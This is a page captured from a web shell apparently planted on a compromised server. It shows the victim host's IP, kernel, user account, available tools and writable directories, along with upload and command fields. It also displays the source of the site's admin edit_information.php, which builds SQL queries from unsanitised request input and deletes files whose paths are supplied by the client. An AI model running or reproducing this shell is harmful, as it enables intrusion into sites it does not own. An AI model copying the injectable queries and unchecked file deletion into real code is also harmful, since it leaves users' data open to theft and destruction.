SCDNG PELER
Server IP : 162.241.126.129  /  Your IP : 3.141.201.46
Web Server : Apache
System : Linux 162-241-126-129.cprapid.com 4.18.0-477.27.2.el8_8.x86_64 #1 SMP Fri Sep 29 08:21:01 EDT 2023 x86_64
User : rvway5nu4 ( 1018)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/rvway5nu4/public_html/admin/information/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/rvway5nu4/public_html/admin/information/edit_information.php
<?php

include("../../config/data.config.php");
if (!isset($_SESSION["SESS_v_adminLoggedIn"]))
{	header ("Location: $MAP_VROOT_FILE_PATH/admin/login.php"); 		
	exit;
}
//echo '<pre>';  print_r( $_SESSION );  echo '</pre>';   echo $target = "$DOCUMENT_ROOT$PIC_DIR/banner/$filename";  exit;
include("$LIB_DIR/functions.lib.php");
include("$LIB_DIR/db.php");
include("$LIB_DIR/db/mysqli.php");
include("$LIB_DIR/data.constant.php");
include("$LIB_DIR/sitemsgs.php");
include("$LIB_DIR/class.paging.php");
include("$LIB_DIR/functions.mailer.php");
global $SITE_URL, $IMG_DIR;  

$db	=	new Db( $DB_HOST, $DB_USERNAME, $DB_PASSWORD, $DB_NAME, $DB_REPORT_ERROR, $DB_PERSISTENT_CONN);

$img_preview  = '';
$img_name  = '';
$inactive_checked  = '';
$active_checked  = '';
$v_title  = '';
$i_informationID  = '';

if( !empty( $_REQUEST['action']) && $_REQUEST['action'] == 'edit' && !empty( $_REQUEST['i_informationID']) ){
		$img_preview  = '';
		$img_name  = '';
		$inactive_checked  = '';
		$active_checked  = '';
		$v_title  = '';
		$i_informationID  = $_REQUEST['i_informationID'];
		$sql = "SELECT * FROM tbl_information  WHERE i_informationID = '".$_REQUEST['i_informationID']."'  "; 
		$result=$db->query($sql);
		if($result->num_rows) {		
			$v_title  = $result->row['v_title']; 
			$v_image  = $result->row['v_image'];
			$c_status  = $result->row['c_status'];
			$i_sortOrder  = $result->row['i_sortOrder'];
			$v_code  = $result->row['v_code'];
			$tx_description  = $result->row['tx_description'];
			$tx_short_description  = $result->row['tx_short_description'];
			
			if( $c_status == 1 ){
				$inactive_checked  = '';
				$active_checked  = 'SELECTED';
			}else{
				$inactive_checked  = 'SELECTED';
				$active_checked  = '';			
			}
			$target = "$DOCUMENT_ROOT$PIC_DIR/$v_image";		
			if ( $v_image != ''  && file_exists("$target"))
			{	$todel_img_name  = $v_image;
				$img_preview = '<BR/><img src="'.$SITE_URL.'/pic/'.$v_image.'" class="img-responsive"  >';
			}
			
		 }

}



if(($_POST['submitForm']) && ($_POST['submitForm'] == 'edit')  ){     
	 EditProduct( $_POST['i_informationID'],  $_POST['v_title'], $_POST['c_status'], $_POST['i_sortOrder'], $db);
}
$sid5chld0  = 'actve';
$sid5chld1  = 'actve';
$sid5show  = 'show';

function EditProduct( $i_informationID, $v_title, $c_status, $i_sortOrder, $db)
{  
		global $PROMPT, $ARR_GLOBAL_STATUS, $ARR_USERS, $ARR_STATUS, $HTTP_SESSION_VARS, $HTTP_POST_FILES, $HTTP_POST_VARS, $DOCUMENT_ROOT, $PIC_DIR, $BANNER_DIR, $TEMP_DIR;
        $userNameFlag = FALSE;
		$userEmailFlag = FALSE;
		//echo '<pre>';   print_r( $_REQUEST);   echo '</pre>';   exit;   		
		$sqlIn = "UPDATE tbl_information SET v_title = '".$v_title."', tx_description = '".addslashes($_POST['tx_description'])."', tx_short_description = '".addslashes($_POST['tx_short_description'])."', c_status = '".$c_status."',c_status = '".$c_status."', i_sortOrder = '".$i_sortOrder."', dt_modifyDate = NOW()  WHERE  i_informationID = '".$i_informationID."' ";
		$db->query($sqlIn);
		
        if($i_informationID){
			if ($_FILES["v_image"]["size"] > 0)
			{	$filename = $_FILES["v_image"]["name"];
				
				$fileArray = explode(".", $filename);
				$extension = strtolower(end($fileArray));
				$newFileName  = "information/information_".$i_informationID.'_modify'.".$extension";
				
				if ($extension == 'jpg' || $extension == 'jpeg' || $extension == 'gif' || $extension == 'png' || $extension == 'bit')
				{	$target = "$DOCUMENT_ROOT$PIC_DIR/$newFileName";
					$filename2 = $newFileName;

					while (file_exists("$target"))
					{	
						$random_number = rand(10000, 99999);
						$newFileName  = "information/information_".$i_informationID.'_'.$random_number.'_modify'.".$extension";
						$target = "$DOCUMENT_ROOT/$PIC_DIR/$newFileName";
					}
					
					if(move_uploaded_file($_FILES["v_image"]["tmp_name"], $target))
					{	
						$query1 = "update   tbl_information  set  v_image = '$newFileName' where i_informationID = '$i_informationID'";
						$db->query($query1);	
						$flag = true;
						$todel_img_name  = $_REQUEST['todel_img_name'];
						$deltarget = "$DOCUMENT_ROOT$PIC_DIR/$todel_img_name";
						unlink($deltarget);
					}
				}
				else
				{	$message  .="Photo not uploaded. Unsupported file format.";
				}
			}			
/////
			$PROMPT ='<div class="alert alert-success alert-dismissable">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
                                    <strong><i class="fa fa-check-circle"></i> Success :</strong>'.$v_title. ' '.$message.'update successfully.
                      </div>';
		 }else
		 {
		    
		    $PROMPT = '<div class="alert alert-warning alert-dismissable">
                                    <button type="button" class="close" data-dismiss="alert" aria-hidden="true">X</button>
                                    <strong><i class="fa fa-exclamation-circle"></i> Warning :</strong> Sorry try again.;
               </div>';
		 }



		$_SESSION['msg'] = $PROMPT;
		header('Location: '.SUB_DIR_PROJECT.'/admin/information/information_list.php');
		exit;
 
		
		   
	
}


?>

<!DOCTYPE html>
<html>
  <head>
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <title>RV Way</title>
    <meta name="description" content="">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <meta name="robots" content="all,follow">
    <!-- Bootstrap CSS-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/vendor/bootstrap/css/bootstrap.min.css">
    <!-- Font Awesome CSS-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/vendor/font-awesome/css/font-awesome.min.css">
    <!-- Fontastic Custom icon font-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/css/fontastic.css">
    <!-- Google fonts - Roboto -->
    <link rel="stylesheet" href="https://fonts.googleapis.com/css?family=Roboto:300,400,500,700">
    <!-- jQuery Circle-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/css/grasp_mobile_progress_circle-1.0.0.min.css">
    <!-- Custom Scrollbar-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/vendor/malihu-custom-scrollbar-plugin/jquery.mCustomScrollbar.css">
    <!-- theme stylesheet-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/css/style.default.css" id="theme-stylesheet">
    <!-- Custom stylesheet - for your changes-->
    <link rel="stylesheet" href="<?php echo $SITE_URL;  ?>/admin/css/custom.css">
    <!-- Favicon-->
    <link rel="shortcut icon" href="img/favicon.ico">
    <!-- Tweaks for older IEs--><!--[if lt IE 9]>
        <script src="https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js"></script>
        <script src="https://oss.maxcdn.com/respond/1.4.2/respond.min.js"></script><![endif]-->

	<link href="<?php echo $SITE_URL;  ?>/tinymce/docs/style.css" rel="stylesheet" type="text/css">

	<!-- tinyMCE -->
	<script language="javascript" type="text/javascript" src="<?php echo $SITE_URL;  ?>/tinymce/jscripts/tiny_mce/tiny_mce.js"></script>
	<script language="javascript" type="text/javascript">
	tinyMCE.init({
		mode : "exact",
		theme : "advanced",
		elements : "tx_description",
		plugins : "table,save,advhr,advimage,advlink,emotions,iespell,insertdatetime,preview,zoom,flash,searchreplace,print,contextmenu",
		theme_advanced_buttons1_add_before : "save,separator",
		theme_advanced_buttons1_add : "fontselect,fontsizeselect",
		theme_advanced_buttons2_add : "separator,insertdate,inserttime,preview,zoom,separator,forecolor,backcolor",
		theme_advanced_buttons2_add_before: "cut,copy,paste,separator,search,replace,separator",
		theme_advanced_buttons3_add_before : "tablecontrols,separator",
		theme_advanced_buttons3_add : "emotions,iespell,flash,advhr,separator,print",
		theme_advanced_toolbar_location : "top",
		theme_advanced_toolbar_align : "left",
		theme_advanced_path_location : "bottom",
		content_css : "example_full.css",
	    plugin_insertdate_dateFormat : "%Y-%m-%d",
	    plugin_insertdate_timeFormat : "%H:%M:%S",
		extended_valid_elements : "a[name|href|target|title|onclick],img[class|src|border=0|alt|title|hspace|vspace|width|height|align|onmouseover|onmouseout|name],hr[class|width|size|noshade],font[face|size|color|style],span[class|align|style]",
		external_link_list_url : "example_link_list.js",
		external_image_list_url : "example_image_list.js",
		flash_external_list_url : "example_flash_list.js",
		file_browser_callback : "fileBrowserCallBack"
	});

	function fileBrowserCallBack(field_name, url, type) {
		// This is where you insert your custom filebrowser logic
		alert("Filebrowser callback: " + field_name + "," + url + "," + type);
	}
		
		// elements : "tx_description,elm2",
	</script>
	<!-- /tinyMCE -->

  </head>
  <body>
    <!-- Side Navbar -->

	<?php require_once(ABSPATH.'../admin/common/admin_sidebar.php'); ?>
    <div class="page">
      <!-- navbar-->
	  <?php require_once(ABSPATH.'../admin/common/admin_header_nav.php'); ?>
      <!-- Counts Section -->
      <section class="dashboard-counts section-padding">
        <div class="container-fluid">
          <div class="row">
            <!-- Count item widget-->
            <div class="col-xl-12 col-md-12 col-lg-12 card">
               <!-- Start Form  -->
				<div class="row">
					<div class="col-lg-12 col-sm-12">
					<form  method="post" enctype="multipart/form-data">
					  <div class="">
						<div class="card-header d-flex align-items-center">
						  <h4>Edit Information : <?php echo $v_code; ?></h4>
						</div>
						<div class="card-body">
						  <form class="form-horizontal">
							<div class="form-group row">
							  <label class="col-sm-2 form-control-label">Title</label>
							  <div class="col-sm-10">
								<input type="text" name="v_title" value="<?php echo $v_title; ?>" class="form-control">
							  </div>
							</div>
							<div class="line"></div>
							<div class="form-group row">
							  <label class="col-sm-2 form-control-label">Short Description</label>
							  <div class="col-sm-10">
								<textarea id="tx_short_description" name="tx_short_description" class="form-control" rows="6" cols="90%" ><?php echo htmlentities(stripslashes($tx_short_description)); ?></textarea>
							  </div>
							</div>
							<div class="line"></div>
							<div class="form-group row">
							  <label class="col-sm-2 form-control-label">Description</label>
							  <div class="col-sm-10">
								<textarea id="tx_description" name="tx_description" class="form-control"  rows="15"  cols="90%" ><?php echo htmlentities(stripslashes($tx_description)); ?></textarea>
							  </div>
							</div>
							<div class="line"></div>


							<div class="form-group row">
							  <label class="col-sm-2 form-control-label">Pic</label>
							  <div class="col-sm-6">
								<input type="file" name="v_image" class="form-control">
								 <?php echo $img_preview;  ?>
							  </div>
							</div>
							<div class="line"></div>
							<div class="form-group row">
							  <label class="col-sm-2 form-control-label">Status</label>
							  <div class="col-sm-6">
								<select name="c_status" class="form-control">
								  <option value="1" <?php echo $active_checked; ?> >Active</option>
								  <option value="0" <?php echo $inactive_checked; ?> >Inactive</option>
								</select>
							  </div>
							</div>
							<div class="line"></div>
							<div class="form-group row">
							  <label class="col-sm-2 form-control-label">Sort Order</label>
							  <div class="col-sm-6">
								<input type="number" name="i_sortOrder" value="<?php echo $i_sortOrder; ?>"  class="form-control">
							  </div>
							</div>
							<div class="line"></div>
							<div class="form-group row">
							  <div class="col-sm-5 offset-sm-2"> 
								<input type="hidden" name="submitForm" value="edit"  class="form-control">
								<input type="hidden" name="todel_img_name" value="<?php echo $todel_img_name; ?>"  class="form-control">
								<input type="hidden" name="i_informationID" value="<?php echo $i_informationID; ?>"  class="form-control">
								
								<button type="submit" class="btn btn-primary">Update</button>
								<button type="reset" class="btn btn-secondary">Cancel</button>
							  </div>
							</div>
						  </form>
						</div>
					  </div>
					</form>
					</div>
					
				</div>
			   <!-- End Form  -->
            </div>
          </div>
        </div>
      </section>
      <!-- Header Section-->
	  <?php require_once(ABSPATH.'../admin/common/admin_footer.php'); ?>
    </div>
	 <?php require_once(ABSPATH.'../admin/common/admin_footer_js.php'); ?>
  </body>
</html>

Anon7 - 2022
SCDN GOK